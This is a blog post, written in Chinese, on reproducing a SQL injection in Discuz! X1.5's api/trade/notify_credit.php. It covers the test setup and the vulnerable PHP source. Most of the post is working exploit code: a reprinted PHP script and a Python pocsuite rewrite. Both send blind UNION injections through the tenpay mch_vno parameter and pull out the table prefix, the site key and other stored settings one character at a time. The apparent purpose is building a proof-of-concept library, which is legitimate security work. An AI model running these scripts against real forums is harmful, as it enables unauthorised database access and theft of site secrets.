美文网首页
Discuz!X1.5 Sql注入漏洞

Discuz!X1.5 Sql注入漏洞

作者: AxisX | 来源:发表于2020-08-06 15:02 被阅读0次

最近在写poc,遇见一个很老的洞,大概是十年前的了。因为复现老洞不容易,记录一下吧。

1. 环境搭建

Discuz! X1.5版本下载地址
https://www.a5xiazai.com/php/73710.html
该地址下还有其安装教程
https://www.discuz.net/thread-1887949-1-1.html
安装wampserver等工具,将下载后的压缩包解压放入www目录下,浏览器访问该路径,进行安装。需要说明的是该版本需要在php小于7的版本下运行,如果出现图中提示,按照要求进行更改即可。

Discuz安装
最终进入到安装界面,到了安装数据库时,管理员哪里随便输入个密码,这里用admin
安装数据库
安装完成后的最终效果如下:
安装完成

2. 漏洞详情

漏洞是个老洞了,最近完善poc列表,需要将其poc加入其中。该漏洞的描述是:Discuz !X1.5 application has a SQL Injection Vulnerability in "/api/trade/notify_credit.php",php文件内容如下

<?php
/**
 *      [Discuz!] (C)2001-2099 Comsenz Inc.
 *      This is NOT a freeware, use is subject to license terms
 *
 *      $Id: notify_credit.php 10986 2010-05-19 05:41:21Z monkey $
 */
require '../../source/class/class_core.php';
require '../../source/function/function_forum.php';

$discuz = & discuz_core::instance();
$discuz->init();

$apitype = empty($_G['gp_attach']) || !preg_match('/^[a-z0-9]+$/i', $_G['gp_attach']) ? 'alipay' : $_G['gp_attach'];
require_once DISCUZ_ROOT.'./api/trade/api_'.$apitype.'.php';
$PHP_SELF = $_SERVER['PHP_SELF'];
$_G['siteurl'] = htmlspecialchars('http://'.$_SERVER['HTTP_HOST'].preg_replace("/\/+(api\/trade)?\/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/');
$notifydata = trade_notifycheck('credit');

if($notifydata['validator']) {

    $orderid = $notifydata['order_no'];
    $postprice = $notifydata['price'];
    $order = DB::fetch_first("SELECT o.*, m.username FROM ".DB::table('forum_order')." o LEFT JOIN ".DB::table('common_member')." m USING (uid) WHERE o.orderid='$orderid'");
    if($order && floatval($postprice) == floatval($order['price']) && ($apitype == 'tenpay' || $_G['setting']['ec_account'] == $_REQUEST['seller_email'])) {

        if($order['status'] == 1) {
            DB::query("UPDATE ".DB::table('forum_order')." SET status='2', buyer='$notifydata[trade_no]\t$apitype', confirmdate='$_G[timestamp]' WHERE orderid='$orderid'");
            updatemembercount($order['uid'], array($_G['setting']['creditstrans'] => $order['amount']), 1, 'AFD', $order['uid']);
            updatecreditbyaction($action, $uid = 0, $extrasql = array(), $needle = '', $coef = 1, $update = 1, $fid = 0);
            DB::query("DELETE FROM ".DB::table('forum_order')." WHERE submitdate<'$_G[timestamp]'-60*86400");

            $submitdate = dgmdate($order['submitdate']);
            $confirmdate = dgmdate(TIMESTAMP);

            notification_add($order['uid'], 'credit', 'addfunds', array(
                'orderid' => $order['orderid'],
                'price' => $order['price'],
                'value' => $_G['setting']['extcredits'][$_G['setting']['creditstrans']]['title'].' '.$order['amount'].' '.$_G['setting']['extcredits'][$_G['setting']['creditstrans']]['unit']
            ), 1);
        }

    }

}

if($notifydata['location']) {
    $url = rawurlencode('home.php?mod=spacecp&ac=credit');
    if($apitype == 'tenpay') {
        echo <<<EOS
<meta name="TENCENT_ONLINE_PAYMENT" content="China TENCENT">
<html>
<body>
<script language="javascript" type="text/javascript">
window.location.href='$_G[siteurl]forum.php?mod=misc&action=paysucceed';
</script>
</body>
</html>
EOS;
    } else {
        header('location: '.$_G['siteurl'].'forum.php?mod=misc&action=paysucceed');
    }
} else {
    exit($notifydata['notify']);
}

?>

网上流传着一个php脚本

<?php
error_reporting(7);
ini_set('max_execution_time', 0);
$url = $argv[1];
$pre = $argv[2]?$argv[2]:'pre_';
$target = parse_url($url);
extract($target);
$path .= '/api/trade/notify_credit.php';
$hash = array();
$hash = array_merge($hash, range(48, 57));
$hash = array_merge($hash, range(97, 102));

$tmp_expstr = "'";
$res = send();
if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');}
preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match);
if($match[1])$pre = $match[1];
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='";
$res = send();
if(strpos($res,"doesn't exist")!==false){
    echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n";
    for($i = 1;$i<20;$i++){
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='";
    $res = send();

    if(strpos($res,'SQL syntax')!==false){  

    $pre = '';
 $hash2 = array();
    $hash2 = array_merge($hash2, range(48, 57));
    $hash2 = array_merge($hash2, range(97, 122));
    $hash2[] = 95;
    for($j = 1;$j <= $i; $j++){
    for ($k = 0; $k <= 255; $k++) {
    if(in_array($k, $hash2)) {
    $char = dechex($k);
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='";
    $res = send();
    if(strpos($res,'SQL syntax')!==false){
        echo chr($k);
        $pre .= chr($k);break;
    } 
    } 
    }    
    }    
    if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');};
    }    }    };
echo "Please Waiting....\n";
$sitekey = '';
for($i = 1;$i <= 32; $i++){
  for ($k = 0; $k <= 255; $k++) {
    if(in_array($k, $hash)) {
    $char = dechex($k);
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='";
$res = send();
if(strpos($res,'SQL syntax')!==false){
        echo chr($k);
        $sitekey .= chr($k);break;
}}}}
if(strlen($sitekey)!=32)die("\n".'can NOT get the my_sitekey..');
echo "\n".'Exploit Successfully.'."\nmy_sitekey:{$sitekey}";
exit;

function sign($exp_str){
    return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key=");
}

function send(){
    global $host, $path, $tmp_expstr;
    
    $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr);
    $data  = "POST $path HTTP/1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Content-Length: ".strlen($expdata)."\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $data .= $expdata;
    $fp = fsockopen($host, 80);
    fputs($fp, $data);
    $resp = '';
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
    return $resp;
}  
?>

这个脚本在测试过程中发现了一些问题,比如pre_common_setting中UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='这个查询语句是无效的,可能是版本不同造成数据库skey字段不同?换成一个其他已有字段。

pre_common_setting
用python改写的poc如下
# coding: utf-8
# -*- coding:utf-8 -*-
import hashlib
import urllib
import urllib2
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase


class TestPOC(POCBase):
    version = '1'
    vulDate = 'Mon Apr 30 2012 16:00:00 GMT+0800 (China Standard Time)'
    createDate = '2018-5-28'
    updateDate = 'Thr Aug 5 2020 16:44:07 GMT+0800 (China Standard Time)'
    references = '''[]'''
    name = '''Discuz! x1.5 api-trade-notify-credit.php sql注入漏洞'''
    cve = ''
    appPowerLink = ''
    appName = 'Discuz'
    appVersion = '1.5'
    vulType = 'SQL 注入'
    vulGrade = '高危'
    vulRepair = '''升级到官方最新无漏洞版本'''
    desc = '''Discuz !X1.5 application has a SQL Injection Vulnerability in 
            "/api/trade/notify_credit.php"
            like 
            $order = DB'''
    samples = ''''''
    path = 'api/trade/notify_credit.php'

    def _attack(self):

        return self._verify()

    def _verify(self):
        '''verify mode'''
        pre = ''
        result = {}
        list1 = range(48, 57)
        list2 = range(97, 102)
        list_all = list1 + list2
        tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM pre_common_setting WHERE ''='"
        res = self.send(tmp_expstr)
        if res.find("doesn't exist") != -1:
            print "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n"
            for i in range(1, 20):
                tmp_expstr1 = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=" + str(
                    i) + "AND ''='"
                res1 = self.send(tmp_expstr1)
                pre = ''
                list1 = range(48, 57)
                list2 = range(97, 122)
                list3 = [95]
                list_all = list1 + list2 + list3
                if res.find("SQL syntax") != -1:
                    for j in range(1, i):
                        for k in range(0, 255):
                            if k in list_all:
                                char = hex(k)
                                tmp_expstr1 = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),%s,1)=0x%s AND ''='" % (
                                j, char)
                                res = str(self.send(tmp_expstr1))
                                if res.find("SQL syntax") != -1:
                                    print chr(k)
                                    pre = pre + chr(k)
                                    print pre
                                    break
                    if len(pre):
                        print "\nCracked...Table_Pre:" + str(pre)
                    else:
                        print "GET Table_pre Failed.."
        backupdir = ''
        for i in range(1, 33):
            for k in range(0, 256):
                if k in list_all:
                    char = hex(k)
                    tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM pre_common_setting WHERE skey=0x6261636b7570646972 AND MID(svalue,%s,1)=%s AND ''='" % (i, char) #此处选取的backupdir字段
                    res = self.send(tmp_expstr)
                    if res.find("SQL syntax") != -1:
                        backupdir = backupdir + chr(k)
                        result['VerifyInfo'] = {}
                        break

        return self.parse_output(result)

    def sign(self, exp_str):
        str = "attach=tenpay&mch_vno=" + exp_str + "&retcode=0&key="
        hl = hashlib.md5()
        hl.update(str.encode(encoding='utf-8'))
        return hl.hexdigest()

    def send(self, tmp_expstr):
        # url = self.url + '/Discuz_X1.5/upload/api/trade/notify_credit.php?' #部分网站路径可能不同
        url = self.url + '/api/trade/notify_credit.php?'
        u1 = urllib.quote(tmp_expstr)
        u2 = urllib.quote(u1)
        exp_data = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=" + str(u2) + "&sign=" + self.sign(tmp_expstr)
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': len(exp_data),
        }
        request = urllib2.Request(url, data=exp_data, headers=headers)
        resp = urllib2.urlopen(request)
        return resp.read()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

相关文章

网友评论

      本文标题:Discuz!X1.5 Sql注入漏洞

      本文链接:https://www.haomeiwen.com/subject/gbjwrktx.html